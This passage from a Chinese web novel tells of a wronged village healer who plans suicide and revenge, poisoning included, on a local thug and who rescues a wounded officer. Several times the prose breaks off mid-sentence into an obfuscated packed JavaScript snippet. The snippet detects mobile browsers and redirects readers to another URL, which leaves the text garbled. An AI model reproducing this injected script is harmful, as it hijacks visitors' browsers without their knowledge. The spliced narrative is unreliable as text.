《阿娇决定今天去死》 1. 第 1 章 #善恶有报,既上天不公,任由歹人作恶,她便要做那把刀,以命抵命,得一个清白公道# - 阿娇浑身湿透,似是被抽了魂一般,双手抱膝蹲在空无一人的渡头边上,像只没了家的水鬼。 天色渐渐暗下来,江面黑沉翻滚,初春天气犹寒,她冷得直发颤。 远远走来一老翁,穿着蓑衣,手里拿着鱼竿和一只空空的鱼篓。 “你可是阿娇?”老翁问道。 阿娇唇色冻得发白,眼睫湿透,瓢泼雨下,看不清老翁的面容,点了点头。 老翁从怀里掏出一只小荷包,递到眼前,“有位书生让我转交给你的。” 阿娇眼睛一亮,是徐天白。 立刻接过荷包,粗粗一摸就知道是什么,她急切地问,“他还说了什么吗?” 老翁隔着大雨,拉高嗓门,“我听不见,听不见你说什么。” 阿娇扯着嗓子,大喊,“他还说了——” 一道惊雷落下,就像炸在耳边,炸在她心上,她看到老翁指着耳朵,摆了摆手。 半晌才意识到,老翁耳聋,听不到声音。 一股闷沉的钝痛击中了她,简直头晕目眩。 她错过了时间,想许的承诺没能说出口,徐天白没等到人,只能托付一耳聋老翁。 命运真是捉弄人。 那日渡头淋雨后,阿娇高烧数日不退,昏沉不分日夜,一会儿头疼欲裂,一会儿如浸寒潭,折腾得只剩半条命。 就在那时,王顺骂骂咧咧上山,抬脚猛揣大门,发出瘆人的巨响。 阿娇家的大门和围墙,徐天白走之前都加固过,一时倒没有被踹坏。 “阿娇!陈阿娇!你给老子出来!” “你个庸医,药死了我家老头,杀人偿命,你给老子出来!” 阿娇本就头疼欲裂,就着窗缝往外看,整个人吓得瑟瑟发抖,捂着嘴都不敢哭出声。 碰巧李叔从山上打猎下来,手里拎着长弓和野兔,背上背着箭矢桶。 “王顺!你又来做什么!” 李叔一个健步上前,推搡开砸门的酒蒙子。 王顺摔了个屁股墩,面红耳赤,无赖一样就坐在地上,“李柴,你逞哪门子英雄,莫不是你人老心不老,也惦记上阿娇?!” “还是说你已经得趣上手了?”王顺是喝了酒的,满嘴喷粪,“滋味如何,比起窑子里的姐儿如何?” 李柴一辈子老实人,听到这些污言秽语,恨不得一箭射死这混账!当下举起手里的长弓往他身上砸,一下比一下重,直砸得王顺吱哇乱叫,屁滚尿流。 王顺是个泼皮无赖,一边跑一边口出狂言,“李柴,你个老不死的,跟老子抢婆娘,我告诉你,阿娇治死了我家老头,要么给钱,要么给人!” “你这么为她出头,有本事五十两你替她出了,本大爷就把阿娇送给你!” 李柴气得脖子都粗了,当下搭弓射箭,对准王顺,一箭破空而去,飞速朝王顺下档处射去! 王顺眸中一紧,再不敢胡言乱语,双腿一软,“扑通”跪下了。 箭矢一箭接一箭,飒沓如流星,擦着他的裤腿,扎进膝盖边的泥地里。 王顺冷汗直冒,捂着下边手脚并用往山下跑,“李柴你给老子记着!老子不会放过你!老子有的是兄弟!” 那日王顺走后,阿娇还在高烧,哆哆嗦嗦拎着家里的一只鸡去谢李叔。 自从数年前爹爹去世后,阿娇就独自居住在青云山半山腰上,远近炊烟寥寥,只零散住着几户清贫人家,其中李婶一家和阿娇较为亲近。 李家三口并一个她,坐在昏沉的烛光前,俱是叹气。 李婶午后从县里回来,说阿娇的摊子已经被王顺砸了,现在镇里到处都在传阿娇治死了王家阿公,是个心肠歹毒的庸医,往后怕是没有人再会找阿娇看病。 可不说往后的生计,就说眼前的困境,一般人沾上王顺这种地痞流氓,不死都要脱层皮,何况阿娇这样无依无靠的孤女。 “要不去报官,”李叔说,“听说县衙里的青天大老爷爱妻又公道,总能给你做主。” 次日,阿娇坐着李家的驴车,她的烧还没退,一路颠簸到衙门前,脚刚一下地就软了,还没进公堂大门,脑门上先摔出一道包。 李叔李婶一左一右撑着她击鼓鸣冤,衙门前的行人来来往往看热闹,三人从清晨等到午后,才堪堪等到县老爷的惊堂木。 县老爷大肚翩翩,留着一溜儿老鼠须,高坐明堂。 阿娇跪在堂下,声泪俱下。 “此事本官已知晓,当日王氏当街哭求你去医治,本官也瞧见了,次日王家老太爷死了也是事实,你一女子出来行医本就不妥,如今医死了人,怎得还敢来公堂叫嚣。” 一番言论,犹如一把利刃直插阿娇心房,“县令大人,不是,不是这样的!” 阿娇跪着膝行,满脸潮红泪流不尽,却被手持水火棍的衙役一杖打在背上! 她原本就缠绵病榻,身体弱得跟张纸一般,当下呕出一口血,喷洒在公堂光可鉴人的石砖地上。 “阿娇!” “阿娇!” 站在门外的李叔李婶焦急高呼,他们不是苦主,被衙役拦着不得进公堂,只见倒在地上的阿娇还在往前爬,似想要爬到三尺公案前鸣冤。 县老爷懒得与她周旋,下了判令,“要么赔付王家五十两,要么你自去和王家商讨和解。” 说着拔了一支黑头签,掷于堂下,而后起身退堂。 衙役捡了那根黑头签,见阿娇还要哭求,抓住她的头发一扯,“跟你说句明白话,在这县里,你没的告,还是乖乖回去嫁我王家兄弟得好。” “来啊,打五大板!” 说着将人往长凳上拖,说话下作流气,“打坏了那要紧处,王顺的酒可就喝不成了。” 阿娇生生挨了五板子,半条命进去,出来时只剩一口气。 她整个人像是被抽了筋骨一般,成了软绵绵的白面条,李婶抱着人上了驴车,李叔赶着驴车,三人失魂落魄地回家去。 不成想,王顺竟带着他那帮狐朋狗友拦在山脚下。 双方一见面,王顺朝着李叔直接啐了一口,“老不死的,看你爷爷我不打得你满地找牙!” 吼完一挥手,众人一拥而上,七八只手推李柴下驴车,按倒在地,王顺一马当先,骑在李柴身上,左右开弓扇他巴掌,“就你会弓箭!就你还想报官!就你还想教训你爷爷我!” 李婶哭着去拉,几个流氓嬉皮笑脸张开手拦着,跟逗弄猫狗一般。 阿娇从公堂那一遭后,早已心如死灰,眼见李氏夫妇竟因自己受此等大辱,一股热气从肺腑里涌出直冲脑门,她拼着最后一点气力,抓起旁边的酒壶往地上一掷,“嘭”得一声巨响,陶制的酒壶四分五裂,众人转头看向驴车上的阿娇。 王顺瞧着娇滴滴的病美人,起身一把攥住阿娇的手腕,温香软玉,他靠近深吸一口气,“心肝儿,今晚就随我回去洞房花烛,保管你快活,成不成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“姑娘小心贵足。”王顺挨了一脚反捧着人,又说阿娇只是在跟他拌嘴,生气了才这样说,一边又低声下气地哄阿娇,好娘子好心肝叫着,说自己知道错了,还想去拉阿娇的手,一副小夫妻闹别扭的模样。 阿娇反手扇了他一个巴掌,手掌火辣辣得疼,却丝毫难消她心头之恨。 张阿公毕竟不是官府,无权断这冤案,何况这乱世冤情何其之多,也不是他能管得过来的,只是有那日渡头的一点缘分,他说,“既然县令已经判了,或赔五十两,或嫁与王顺,你如何选?” “我赔五十两,”阿娇掐着手心,咬牙切齿,“但我有个要求,半年后赔付。” 王顺立刻炸了,“这怎么成,你这是故意拖延,你要是跑了,我上哪说理去?” 张阿公又一杆子下去,抽在王顺那张臭嘴上,“上我这说理,若半年后她跑了,或赔不起这五十两,你到城南张府来寻我。” 阿娇原本想着等半年,进京赶考的徐天白定然有消息了,届时一切都有解法,可谁成想,徐天白一腔热血抱负尚未施展,就葬身江河,消息回来的时候,阿娇万念俱灰,形似槁木,在家中枯坐数日后,她拎着铲子上了山。 她没有什么可以失去的了。 她什么都没有了。 人一旦决定去死,就获得自由。 只是不能窝窝囊囊地死,善恶有报,既上天不公,任由歹人作恶,她便要做那把刀,以命抵命,得一个清白公道。 2. 第 2 章 时间过去月余,院中的桃树开花了。 这日她照常起床,高烧和板子的伤已经养的差不多了。 简单洗漱后去地窖拿了两把青菜准备下面吃,冬日清晨的阳光很好,她站在檐下,仰着脸闭着眼睛晒太阳、听风过竹林的声音,过了会儿才进厨房。 青菜鸡蛋腊鸭面,是她第一次煮给徐天白吃的面。 徐天白吃了个精光,连声说好吃,但后来他就开始下厨了,才知道读书人的话啊,真是半句都信不得。 吃饱后照常给父母牌位上一炷香,看着牌位上的字,阿娇心中默然。 爹娘,孩儿不孝。 我必须把王顺带下来,咱们一家三口一鬼一脚,踩死他。 房里安静宁和,青烟笔直成一线,阿娇瞧着那烟,若有所思。 应该是阿爹阿娘听见了,支持她一鼓作气,勇往直前。 她朝着牌位拜了三拜,俯身时胸前挂着的长命锁触地,在静谧的房间里发出“叮”一声,声响清脆。 站起身后,她慢慢环视住了十来年的家,然后关上吱呀作响的木门,落了锁。 其实难过的时候已经过去了,如今她更多的是平静,以及对故人重逢的期待。 看阿娇落锁要出门,正要赶着驴车下山赶集的李婶扬了扬手中鞭,大声喊道:“阿娇,是下山还是上山?下山的话,我带你一程。” 青云山上少有人家,半山腰处一户是孤女阿娇,另一户就是猎户李家,两家多有来往,关系亲厚。 春日的日头渐渐猛了起来,阿娇扶着斗笠,朝李婶挥了挥手,“李婶早,不用了,我还有事。” 李婶看着阿娇长大,从个小萝卜头出落到如今亭亭玉立,她心里是极喜欢的,阿娇平时上山采药材、下山摆摊开诊,勤快又伶俐,她若是有个儿子,早早就要把人娶进门,哪还有如今这桩污糟事。 真真是可惜! 也真真是可恨! “最近山上总有狼嚎,不安全,你别上山采药了,晚上来婶家吃饭。”李婶边说边赶着驴下山。 阿娇没有回应。 她等着李婶走远,才慢慢下山去。 她是活不成了,也不想活了,但该带走的畜生总不能落下,免得他再去祸害李叔一家。 她径直去了王家,不巧王顺竟不在,只一五岁幼女招娣在家。 招娣梳着总角辫,穿着补丁衣,很瘦小一只坐在矮凳上笨拙地缝喜帕,瞧见阿娇,脆生生喊了一句:“娇姐!” 见阿娇盯着喜帕看,笑着举到阿娇面前,“娇姐,我绣得好看吗?” “不用绣了,用不上的。” “用得上,”招娣的神情有些茫然,将喜帕往自己头上比了一比,稚童嗓音,“阿爹将我许给了赖家做媳妇,下个月就要去了。” 原以为是给她的,没想到... 赖家她知道,城里有名的富户,他家小儿子去岁出生,生来就有麻痹症。 阿娇蹲下来,瞧见她满是针孔的手指,一时不知道该说什么。 有些人活着,就像个毒瘤,不如死了。 “你阿爹呢?”阿娇小声问。 “阿爹出去吃酒了,太婆出去浆洗了,”招娣像是忽然害怕着急起来,推着阿娇往外走,“娇姐快走,万一爹爹回来撞上了怎么办!” 她露出来的胳膊上面青紫痕迹斑驳,想必是王顺打的。 畜生! 这世道怎么总是好人活得更艰难,好像连上天都偏爱卑鄙小人。 “招娣,替我给你爹带句话,让他明天到我家来,我有好东西要给他,”阿娇说着从荷包里倒出来一把饴糖,放到招娣手心,“这个给你吃。” 招娣馋得两眼放光,频频点头。 “回春堂的李大夫常常会收小童磨药,你若身上有伤或者没有吃不饱饭,可以去那,就说是娇姐让你去的。” 阿娇没有久留,交代完事后就往山上走,她的坑今天再挖一挖也就成了。 - 青云山分阴阳,阳面走达官贵人、富豪乡绅,路都是修好了的,不会让贵人沾上一点尘土。阴面就是走他们这样的贫苦人家,靠着山或打猎,或采药,谋点生计,自然走的是野路、泥泞路,尘土飞扬。 这是她第二次给自己挖坑,橘子树还是那棵橘子树,坑也还是原来那个坑,但不同于上一次的无措、畏惧,这一次她坦然、平静,并且还积极吸取了上一次的教训,做了许多改进。 譬如:在土坑周围放了一圈的铁夹子,防止山中牲畜在她的坑里拉尿拉屎,或者吃野味。 毕竟这是要埋她身骨的地方,还是干干净净得好,总不好挂着一身屎尿,头上叉着大棒骨去见故人。 见故人,总要体面些,故而今日她穿得也格外鲜亮。 一身明黄色衫裙,薄薄的腰带绣着缠枝莲纹,勒出一把细腰,衣袖上捋,露出一双莹白如玉的小臂,这手虽瘦,但力气不俗,细看手心有茧,可见并不是个娇滴滴的弱女子。 徐天白说,做姑娘是很不易的,既要漂亮,又不能只有漂亮,既要能干,又不能只有能干。 阿娇听不懂他的这些车轱辘话,只记住了他说,像她这般,就是最完美的。 书生说话就是好听啊,顺耳! 所以她给自己的坑也起了个好听的名儿,完美坑。 完美坑里埋着完美的她,完美! 一路吭哧吭哧爬上山,拨开挡在身前的斜出枝干,远远就看到了自己的完美坑,只是坑边的铁夹子怎么少了几个? 难不成又有畜生跑进去了? 她提着裙摆,小跑过去,却见一黑衣劲装男子躺在其中。 那人蒙着面,右手捂着腹部,鲜红血液染满了手掌,往下看去,她精心准备的铁夹子正夹在人家小腿上,扎破衣裤,嵌进肉里,流出血来,渗进土里,嫣红一片。 阿娇顿觉眼前一黑。 这要怎么整? 阿娇自小跟着爹爹行医问诊,很是见过一些伤情世面、死人尸体,当下倒也不怕。 她绕着完美坑转了一圈,猜测这人大概是受伤后仓皇奔逃,时运不济,一脚踩中她的陷阱,跌进坑里。 啧。 这人的命,比她还要苦一点。 她蹲在坑边,伸长手臂去探他的脖颈脉搏。 在动,还活着。 她又顺着胸腹往下探了探,蛮结实的,伤得很重,有点难活。 这就有些棘手。 救他,肯定得待人下山,这太耽误她今天的事,但是不救他,这人又占了自己的坑。 还是办自己的事要紧。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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远山长,云山乱,身边的男人鲜血汨汨地流,她呆呆坐着,望着天上的白云和飞鸟,清风过处吹起一阵沙沙声。 脑海中忽然闪过今日的黄历。 今日宜祭祀下葬,宜故人重逢。 原以为是上穷碧落下黄泉的重逢,没想到竟是这个重逢法,可此故人不是彼故人。 但看着如此相像的一张脸,阿娇忍不住伸手,轻轻触摸他的面颊。 是柔软、温热的。 她的手掌捂住他的眼睛,再慢慢下移一点,他的唇形简直与徐天白一模一样,鼻梁也有些像。 天底下怎么会有这么巧合的事。 阿娇信命,天命如此安排,定有他的道理。 “他在这橘子树下救了我,为着这几分相像,我得救你,就当还了当年的救命之恩。” 她起身拍了拍身上的尘土,决定带人下山。 只是她虽有一把子力气,却也背不动一个身高九尺,一身腱子肉的壮年男子。 “我下山去借李婶家的驴车拉你下去。” “山中多野兽,人血鲜美,在我回来前你可别...可别被吃了。” 阿娇望了望四周,又把人拖回了坑里,取下腰间的竹筒,沿着坑沿倒了一圈。 竹筒里转着她精心调制的毒药,是甜味的,喝下后会犯困,死得悄无声息,毫无痛苦。 天边弥漫着浓烈的火烧云,落在树梢、土地、人身上,照出一片红彤彤,阿娇走出十米开外,不知为何又回头,清澈的瞳孔里映照着残阳,她看着那棵长在落日里的橘子树,看着看着那副相像的面容。 眸底忽然泛起一阵热意,短暂停留后,她转身往山下去。 3. 第 3 章 裴衍并非毫无知觉,只是失血过多,五感迟钝,最后模模糊糊听见女郎说要救他,他心中冷笑自嘲。 一是笑她明明畏惧离开却谎称自己菩萨心肠要救他,二是嘲自己,沙场出生入死、建功立业,最后竟落到被一介山野村姑戏耍的田地。 他失血过多,浑身脱力,右手手指微微挪动,劲力内敛,缓慢地去摸腰间的笛哨。 此次他奉命下中州,名义上是彻查中州流民起义之事,实际是为找太子私豢兵马的证据。 几经明察暗访、设计潜伏,终于被他拿到铁证,他与裴氏百名死士兵分两路,一路伪装身份,先行带证据回京,一路留守中州,装作犹在探查假象,迷惑太子党羽。 都说事以密成,临到他要回京候,却突然遭遇刺杀,死士折损过半,昨夜他率领一众属下千里奔袭,取青云山偏僻近道,却不料遭遇埋伏,壮士死战、血流成河,忠勇将士为护他突围,以身为墙,于重重刀锋剑戟中夺出一条生路。 取道青云山一事,所知之人不过近身死士五人,贼人却早早埋伏,可见他身边出了内鬼。 裴衍双眼微垂,看着手中染血的笛哨,若这一声哨响,来的会是友军,还是敌人? 正思索之际,忽听得“嗷~~~”一声悠远嘹亮的狼嚎,响彻山林。 听回音,愈来愈近,裴衍撩起眼皮看去,他虽身受重伤,但眸光依旧锐利,浑身散发着刚勇之人的杀戮之气。 那是只成年公狼,四肢健硕,约有两百来斤,狼眼幽绿、獠牙锋利,口水止不住地滴落。 它看着土坑里的美味眼冒精光,一步步谨慎走进,口鼻发出危险的低吼声。 裴衍好似忘却身上重伤,双臂一叫劲,臂上筋肉膨起将他半撑起了起来,手握利刃,眸中凶光犹如地狱恶鬼。 公狼被这股气势威慑到,不再上前,家中母狼生产了三只狼崽子,都是嗷嗷待哺,它一双绿眼依旧死死盯着坑里的人,忽然间只见其腰身弓起,摩擦前爪,瞅准时机,一跃而起,扑向土坑中的美味! 千钧一发之际,裴衍刀刃飞快,一道银光闪过,直刺公狼颈部要害,但他身上带伤,刀刃些许偏差,公狼矫健,飞身闪躲,前腿不甚被刺伤,倒到另一侧。 裴衍到底重伤失血,方才那一下已是强弩之末,腰腹部伤口拉大,涌出一股格外鲜红的血液。 但他不露一分退色,眸光似利刃,死死盯着受伤的公狼。 公狼怒极,浑身的毛都奓起来,但狼是极聪明的动物,远远瞧着那人不好对付,索性不如等到入夜,等这人血竭而亡,它再来舒舒服服觅食。 裴衍见那狼翘着长尾巴,转身就走,不知它是害怕走了还是回去呼唤同伴,只听“咚”一声,刀刃掉地,他支撑不住,彻底昏死了过去。 却说阿娇那头,她脚步飞快回到半山腰的炊烟人家,见李婶家的门还关着,心中暗道不好。 现下正是开春时间,春菜多,李婶估计还没回来。 “啪啪啪!”她上前大力拍门,“李婶,李叔,你们在家吗?” 院中静谧无声,只余山间飞鸟啼鸣的回声。 阿娇又拍了几下,无人应答,她转头看向山顶方向,赤红的落日刮在山头,她的眉间泛起几抹愁色。 看来是救不了了。 说不准他现在已经被野兽...野兽吃了? 要不好人做到底,在旁边给他另外挖个坑,能入土为安总好过暴尸荒野吧? 犹在这般想着时,里头堂屋的门“吱呀”一声开了,走出来个小姑娘,年约十六,扎着同心髻,额前挂着一片薄发,俏生生地。 “娇姐,爹娘还没回来呢,晚饭咱们得晚点吃呢。” 李是好边跑来开门,边说,“我刚吃了药在睡觉,没听见敲门声呢。” 阿娇瞧了瞧院里,东边种菜,西边养鸡鸭,“小好,你家是不是有个废弃的牛车?” 李是好都还沾着眼屎,扒拉着眼睛,有点难过,“有的,只是牛被卖了。” “剩下的牛车呢?”阿娇心生希望。 李是好领着阿娇往后院走,后边是厨房和杂物间,那废弃的牛车就扔在过道里,上边累着冬天捡来取暖的牛粪,还有一大缸的酿酸菜,飞舞着几只流萤。 “娇姐,你要这个?”李是好摸了摸鼻子,退后一步。 “搬!” 阿娇一声令下,撸起袖子,大步上前,李是好只好也跟上,她自小跟着娇姐爬树摸鱼,后来她生了病,也都是靠着娇姐给她医治,不然以她家,哪有余钱看病。 俩女娃吭哧吭哧推着辆“咯吱”乱响的报废牛车往山上去。 李是好乍一看到血泊里的人,惊吓连连,蹦到阿娇身后,又止不住好奇,探出一双大眼睛。 “娇姐,我怎么觉得,怎么觉得他,他有点像徐大哥啊?” “是有点像,”阿娇边说边跳进了坑里,“来,搭把手,拉上去。” “小心些,他身上有伤。” 一头一脚,两姑娘将人抬上了牛车,深一脚浅一脚地推着人下山。 天边晚霞已尽,蓝雾色的夜色漫了上来,山间清风过树,春花清甜,李是好随手摘了朵红艳艳的映山红,吸里面的清爽的蜜。 她也不吃独食,又摘了一朵,挤出里头的蜜递给阿娇。 阿娇额头泛汗接过那朵花,她没吃,将花蜜滴进了那男人惨白的唇上。 花蜜清甜,如久旱逢甘霖,裴衍睁开沉重的眼皮,看见一枚秀气的金锁,在黑天碧树间一荡一荡,好似天上月。 她竟真的回来救他了。 - 月上三竿,山中静谧,阿娇的屋子里不时响起剪子咔嚓咔嚓的声音。 她正在给那男子处理伤口,这第一步便是剪开他这一身的华服,“咔嚓咔嚓”声起,露出一身精悍的皮肉,待剪到下身关键处时,阿娇手起刀落,依旧十分麻利。 在她眼里,这是病患,无分性别。 但昏迷中的男子就不如她从容,额头汗珠密布,大腿肌肉不自觉绷紧。 阿娇按了按,梆梆硬,醒了吗? 转头看去,面容苍白,双目紧闭,没有醒。 她眨巴眨巴眼睛,转头继续干活 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他的小腿处仿佛还带着方才的热度,那一点点热似微弱火苗,烧过她放肆触碰过的每一寸皮肤,火势渐猛,凸起的喉结猛地一滚,额间沁出一层薄汗。 自十岁起入军营,沙场征战十余载,他一向克己复礼,不喜被人触碰,且尤为不齿耽于声色的纨绔子弟。 不说她只是乡间一介女郎,便是京中贵女也从未入过他的眼。 今日怎会? 视线里,她的手臂搭在薄薄的毯子上,小臂白皙泛着莹莹温润的光,手指微微蜷着,握着一把剪子。 剪子锋利,在清透的月光下发着幽光,稍不留神就可能扎伤皮肤。 裴衍伸手欲将剪子从她手中取出,粗粝的掌心不小心碰上她的指节,温润柔软。 阿娇犹在梦中,只觉有人在与她争抢牛肉烧饼,生气地拍了拍。 裴衍被烫到般松了手。 恰逢此时,一阵杂乱的拍门声伴着含混不清的喊话声,在寂静的夜里传了进来。 “阿娇,心肝儿,我来了!” 是王顺,醉酒归家,听说阿娇有好东西要给他,这能等到明日? 登时连滚带爬上山,“娇娇,好心肝儿,快开门啊!” 4. 第 4 章 阿娇还在睡梦,梦里有根麻绳圈成了精一般,勒着她的脖子,她跑不开、挣不脱,正窒息之际,被砸门声惊醒。 王顺的声音她就算做鬼都认得。 本打算明日这流氓一来,她就施计将人引去青云山深处,一杯毒酒送人下黄泉。 反正她也不打算活了,官府难不成还要追去阴曹地府制裁她吗?! 但他怎么今晚就来了? 院外砸门声一下响过一下,往日里新仇旧恨齐齐涌上心头,阿娇寒眸一闪,翻身下榻去开门。 门外的王顺还在叫嚣,他早就知道像阿娇这种无依无靠的女人是个没骨头的,他王顺祖祖辈辈都是县里的名人,她一孤女能嫁到王家,就该磕头拜谢,乖乖送上门才是。 还跟他犟,这不,还不是得乖乖向他低头! “阿娇!”他又抬手砸门,手尚未落到门板上,门就从里边开了。 阿娇站在门内,月光照着她,一张脸面无表情,却无端透着股寒气,甚至带着种异乎寻常的平静。 王顺被那双寒眸一盯,酒醒了泰半,但转念一想,一孤女还能翻天不成,当下伸手就想搂着人亲热亲热,“娇娇儿,你说要送我好东西——” 阿娇侧身一躲,“自然是有,先进来。”说着“哐当”一声关上了门,门闩落下。 在里屋躺着的裴衍,透过窗户缝隙观察院中的形势,夜半三更,妙龄少女邀人来相会,思及方才她手法利落脱他衣物的动作,对她身份的猜想缓缓浮出。 山中流莺? 裴衍眉心一皱,想起自己之前身体的异样,不觉更添几分嫌恶。 而百米外的李叔家,因着王顺方才的动静也起了身,李叔李婶披着外衣,提着灯笼出来,阿娇一个孤女,势单力薄,他们得看顾着。 阿娇落了门闩之后,并未转身,她垂着眼捏紧袖中的剪子,等着王顺上钩。 果然那混账腆着一张脸,踉踉跄跄地就从后面要扑上来,阿娇陈其不备,抓住他一只手掌按在门板上,抬手就扎。 王顺登时浑身冷汗,那剪子擦着他的指缝过去,扎破皮肉。 十指连心,王顺挣扎开去,捂着手咒骂,“贱人!你疯了!” 阿娇撩起眼皮,黑葡萄般清澈的眼眸泛着平静的疯感,举着剪子一步步向前,“这一次是手,下一次可以是脖子,再下一次可以是心肺。” 王顺步步后退退到桃树边,心中打鼓,但就一女人,他有什么好怕,“你敢吗?放狠话谁不会!” 阿娇突然抬手,寒光一闪,剪子抵在他脖子间,“我敢,你敢吗?” 王顺来不及反应,就被她眼里的冷厉疯狂吓到了,冰凉剪子抵着脖子,仿佛下一秒就要扎破皮肤,濒死的恐惧让他双腿发软,抖着嗓子求饶:“姑奶奶,姑奶奶我错了,我不敢,我再不敢了!” 阿娇本不想在今晚动手,但剪子抵上他的脖颈,她像是被一股疯狂的念头裹挟,只要多用一点力,就能彻底摆脱这流氓的纠缠,只要多用一点力,麻烦就都消失了。 王顺吓得就差尿裤子,连声哭求,只可惜远近无人,他的求救只有山林里的鸟兽能听到。 以及屋内的裴衍。 夜风起,吹落一阵桃花雨,粉白花瓣轻抚她的乌发,映着清冷月光,她身上纠缠着矛盾的气质,一面是山川自然赋予的秀美,一面是孤苦求生的狠绝。 比起裴衍见惯的金玉堆砌出的骄矜贵女,眼前这人格外不同,甚至在某个瞬间,裴衍好像在她身上看到了自己的影子。 冷静、狠厉,无畏生死。 有点意思。 他手里原本攥着一颗石子,准备随时出手,现下看,是他多虑了。 阿娇仰头看着飘扬的桃花,这棵桃树是去年徐天白种下的。 他说青云寺的桃花开了,便折了一支拿来给她闻一闻春天。 要杀人也不能在这里,不能让王顺脏了好地方。 “滚!”阿娇收了剪子。 王顺“扑通”一声跪倒在地,双腿发软,却也不敢多停留,生怕阿娇变了主意,连滚带爬开了门。 门外正是提着灯笼的李叔李婶,门一开,照出两张晦暗不明的老脸。 王顺早就六神无主,当下就被骤然出现的两人吓得屁滚尿流,转身就要往里跑,但里头还站着个玉面罗刹,王顺跟只没头苍蝇般两头撞,看得李叔李婶一头雾水,往旁边让了让,才让这臭苍蝇飞了出去。 “阿娇,没事吧?”李婶走进来问。 阿娇紧绷的脊背这才松下来,衣袖下拿着剪子的手脱力般发烫、发抖。 李婶见她似着了魔,半天也不说话,像极了当时从县衙回来后的模样。 “阿娇,阿娇,你可别吓婶子。” 阿娇提起精神摆摆手,“李叔,李婶,我没事,吵到你们了吧?” 二老犹是不放心,劝阿娇跟他们回去住,也怕那贼心烂肺的王顺又杀上门来。 “不会的,他不敢。” 阿娇扯出一个笑,像王顺这种欺软怕硬、丧德败行的流氓,你越软弱可欺,他就越张狂,你越强硬霸道,他反而畏缩,今晚这么一闹,想来下次他见着阿娇都要换条街走走。 “李叔,李婶,你们快回去吧,小好一人在家会怕的。”阿娇将两人送出门,重新落了门锁。 她靠在门板上,双手环臂,怔怔地看了一会儿桃花。 “这桃树会结桃子吗?” “不晓得,等明年就知道了。” “明年要是不结果子呢?” “那我下山给你买,听说京城有种玉露桃,清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405565|200487||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 甜饱满、粉白相间,等我从京城带来给你尝尝。” 从前阿娇想起这些,总是会伤心,但自从她决定去死之后,伤心就很少了,更多的是对重逢的期待。 回到卧房,床榻上的人依旧沉睡着,阿娇坐在榻边,看着那张相似的脸,没头没尾地说了句。 “今年桃树真的不结果。” 裴衍不动声色,眼睫都没颤一下,只是棉被下的手暗自攥紧那颗石头,防备阿娇手里的剪子。 阿娇俯身探了探他的额头,她自桃树下来,身上浸染了几分桃花香气,随着她的动作浮动在裴衍的鼻间。 这时候的她又是柔软而恬静的,动作轻柔、掌心温热,看向他的眼眸里流淌着清浅暖意。 全然不似方才要与人拼命的冷厉模样。 裴衍对这女子倒真生出几分好奇。 次日一早,李是好就来敲阿娇的门。 阿娇一晚没睡,和王顺闹那么一场后,心跳得厉害,压根儿静不下来。 又记挂着那男人的体温,怕他伤口发脓高烧起来,伤口倒是还好,但摸着体温总是偏高,脉象虽虚弱但也平和,没有发热的征兆。 她琢磨了半晌,想不出个所以然,索性给人灌了一碗清热解毒药。 李是好一进门就叽里咕噜骂着王顺,又递过来个大白馒头。 “阿娘早起特意给你做的,吃了好压压惊,”说着又指了指屋里,“娇姐,那人怎么样?还活着吗?” 阿娇接过馒头,点了点头,“你没跟李叔李婶说吧?” 李是好点点头,搬开窗台上的兰花,踮着脚朝里看去,男人安安静静地躺在床上,闭着眼睛一动不动。 “他还没醒吗?” “太虚弱了,醒不了。”阿娇坐在窗台下的竹椅里,晨光落了满身,她眯了眯眼睛,吃起暄软的白馒头。 “娇姐,你救他回来是打算当夫婿吗?”李是好还在踮脚细细看男子的面容,“这样也好,你有了夫婿,王家那个老流氓就不敢来骚扰你了。” 裴衍眉间一动,原来是存了这般心思。 就在他嗤笑她痴心妄想之前,阿娇清脆的声音自屋外传来,还带着一股桃花的清香。 “能不能活还两说,真要能活,恐怕也干不了重活。” 东都裴氏的大郎君,自打出娘胎起就被捧为人上人,多少金玉摔了扔了眼都不眨,何曾被人这样直白嫌弃过,甚至只是一个无依无靠的孤女。 大郎君心绪难平,院中的阿娇丝毫不察,犹自想着徐天白上得厅堂下得厨房,修得了茅屋写得了诗行,那人虽有几分相像,平时放着看看有意思,真一起过日子,还是差点意思。 但她原本也就是图这么一张脸,想到此处,她坐起身,转头往卧房望去。 醒了? 5. 第 5 章 透过支开的窗户,男人不知何时已半坐起来,身上盖着薄被,露出两边臂膀,不似书生的白弱,倒有常年习武的健美流畅。 阿娇挠了挠脸颊,虽没说什么,但背后说人还被人听见了,总是不大磊落。 她朝李是好挥挥手,让她回去,自个儿起身往厨房走。 阿娇在厨房煮了一海碗鸡蛋腊肉面,端进来的时候热腾腾冒着白汽,四目相对间,阿娇自然地好似没说过他这不行那不行的坏话,嘴角带起一个笑,“你醒了?” 裴衍和颜悦色、谦谦君子,双手作揖,“多谢姑娘救命之恩。” 阿娇将面碗放在小几上,低垂着眼不敢对视,也不敢冒领这功劳,毕竟那铁夹子是她放的,那坑是她挖的,说救命,多了一点。 